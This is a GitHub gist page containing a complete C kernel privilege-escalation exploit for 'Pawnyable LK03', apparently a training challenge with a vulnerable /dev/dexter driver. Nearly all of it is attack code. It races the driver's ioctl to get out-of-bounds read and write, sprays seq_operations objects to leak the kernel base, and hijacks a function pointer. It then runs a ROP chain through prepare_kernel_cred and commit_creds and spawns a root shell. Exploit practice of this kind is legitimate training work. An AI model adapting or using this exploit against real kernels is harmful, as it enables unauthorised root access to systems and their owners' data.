Last active
January 9, 2023 02:30
-
-
Save brant-ruan/07fe3e6d20d03f92e82e6a55dc2ddab7 to your computer and use it in GitHub Desktop.
Pawnyable LK03
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#define _GNU_SOURCE | |
#include <fcntl.h> | |
#include <pthread.h> | |
#include <sched.h> | |
#include <stdint.h> | |
#include <stdio.h> | |
#include <stdlib.h> | |
#include <string.h> | |
#include <sys/ioctl.h> | |
#include <sys/stat.h> | |
#include <sys/types.h> | |
#include <unistd.h> | |
#define SPRAY_NUM 200 | |
#define VUL_BUF_LEN 0x20 | |
#define BUF_LEN 0x40 | |
#define CMD_GET 0xdec50001 | |
#define CMD_SET 0xdec50002 | |
#define ofs_seq_ops_start 0x170f80 | |
#define add_rsp_0x140_pop6_ret (kbase + 0x0bf813) | |
void spawn_shell(); | |
uint64_t user_cs, user_ss, user_rflags, user_sp; | |
uint64_t user_rip = (uint64_t)spawn_shell; | |
uint64_t swapgs_restore_regs_and_return_to_usermode = 0x800e10 + 0x12; | |
uint64_t mov_rdi_rax_rep_movsq_ret = 0x63d0ab; | |
uint64_t prepare_kernel_cred = 0x0729b0; | |
uint64_t commit_creds = 0x072810; | |
uint64_t pop_rdi_ret = 0x29033c; | |
//uint64_t pop_rax_ret = 0x1366ca; | |
uint64_t pop_rcx_ret = 0x10d88b; | |
uint64_t pop_rbx_ret = 0x290240; | |
unsigned long kbase; | |
unsigned long g_buf; | |
typedef struct { | |
char *ptr; | |
size_t len; | |
} request_t; | |
int fd; | |
int tmp_fd; | |
request_t req; | |
int race_win = 0; | |
void fatal(char *msg) { | |
perror(msg); | |
exit(-1); | |
} | |
void spawn_shell() { | |
puts("[+] returned to user land"); | |
uid_t uid = getuid(); | |
if (uid == 0) { | |
printf("[+] got root (uid = %d)\n", uid); | |
} else { | |
printf("[!] failed to get root (uid: %d)\n", uid); | |
exit(-1); | |
} | |
puts("[*] spawning shell"); | |
system("/bin/sh"); | |
exit(0); | |
} | |
void save_userland_state() { | |
puts("[*] saving user land state"); | |
__asm__(".intel_syntax noprefix;" | |
"mov user_cs, cs;" | |
"mov user_ss, ss;" | |
"mov user_sp, rsp;" | |
"pushf;" | |
"pop user_rflags;" | |
".att_syntax"); | |
} | |
int set(char *buf, size_t len) { | |
req.ptr = buf; | |
req.len = len; | |
return ioctl(fd, CMD_SET, &req); | |
} | |
int get(char *buf, size_t len) { | |
req.ptr = buf; | |
req.len = len; | |
return ioctl(fd, CMD_GET, &req); | |
} | |
void *race(void *arg) { | |
printf("[*] trying to set req.len to 0x%lx\n", (size_t)arg); | |
while (!race_win) { | |
req.len = (size_t)arg; | |
usleep(1); | |
} | |
return NULL; | |
} | |
void oob_read(char *buf, size_t len) { | |
char *zero = (char *)malloc(len); | |
pthread_t th; | |
pthread_create(&th, NULL, race, (void *)len); | |
puts("[*] trying to achieve OOB read"); | |
memset(buf, 0, len); | |
memset(zero, 0, len); | |
while (!race_win) { | |
get(buf, VUL_BUF_LEN); | |
if (memcmp(buf, zero, len) != 0) { | |
race_win = 1; | |
break; | |
} | |
} | |
pthread_join(th, NULL); | |
printf("[+] achieved OOB read (0x%lx bytes)\n", len); | |
race_win = 0; | |
free(zero); | |
} | |
void oob_write(char *buf, size_t len) { | |
puts("[*] trying to achieve OOB write"); | |
pthread_t th; | |
char *tmp = (char *)malloc(len); | |
while (1) { | |
pthread_create(&th, NULL, race, (void *)len); | |
for (int i = 0; i < 0x10000; i++) | |
set(buf, VUL_BUF_LEN); | |
race_win = 1; | |
pthread_join(th, NULL); | |
race_win = 0; | |
oob_read(tmp, len); | |
if (memcmp(tmp, buf, len) == 0) | |
break; | |
} | |
printf("[+] achieved OOB write (0x%lx bytes)\n", len); | |
free(tmp); | |
} | |
int main() { | |
char buf[BUF_LEN]; | |
char temp[0x20] = {0}; | |
int spray[SPRAY_NUM]; | |
printf("[*] spraying %d seq_operations objects\n", SPRAY_NUM / 2); | |
for (int i = 0; i < SPRAY_NUM - 1; i++) { | |
spray[i] = open("/proc/self/stat", O_RDONLY); | |
if (spray[i] == -1) | |
perror("open"); | |
} | |
printf("[+] /dev/dexter opened\n"); | |
fd = open("/dev/dexter", O_RDWR); | |
if (fd == -1) | |
fatal("/dev/dexter"); | |
spray[SPRAY_NUM - 1] = open("/proc/self/stat", O_RDONLY); | |
oob_read(buf, BUF_LEN); | |
printf("[*] leaking kernel base with seq_operations\n"); | |
kbase = *(unsigned long *)&buf[0x20] - ofs_seq_ops_start; | |
printf("[+] leaked kernel base address: 0x%lx\n", kbase); | |
swapgs_restore_regs_and_return_to_usermode += kbase; | |
mov_rdi_rax_rep_movsq_ret += kbase; | |
prepare_kernel_cred += kbase; | |
commit_creds += kbase; | |
pop_rdi_ret += kbase; | |
pop_rbx_ret += kbase; | |
pop_rcx_ret += kbase; | |
*(unsigned long *)&buf[0x20] = add_rsp_0x140_pop6_ret; | |
oob_write(buf, BUF_LEN); | |
tmp_fd = spray[SPRAY_NUM - 1]; | |
__asm__(".intel_syntax noprefix;" | |
"mov r15, pop_rdi_ret;" | |
"mov r14, 0x0;" | |
"mov r13, prepare_kernel_cred;" | |
"mov r12, pop_rcx_ret;" | |
"mov rbp, 0x0;" | |
"mov rbx, pop_rbx_ret;" | |
"mov r11, 0xbbbbbbbb;" | |
"mov r10, mov_rdi_rax_rep_movsq_ret;" | |
"mov r9, commit_creds;" | |
"mov r8, swapgs_restore_regs_and_return_to_usermode;" | |
"xor rax, rax;" | |
"mov rcx, 0x66666666;" | |
"mov rdx, 0x8;" | |
"mov rsi, rsp;" | |
"mov rdi, tmp_fd;" | |
"syscall;" | |
".att_syntax"); | |
spawn_shell(); | |
close(fd); | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment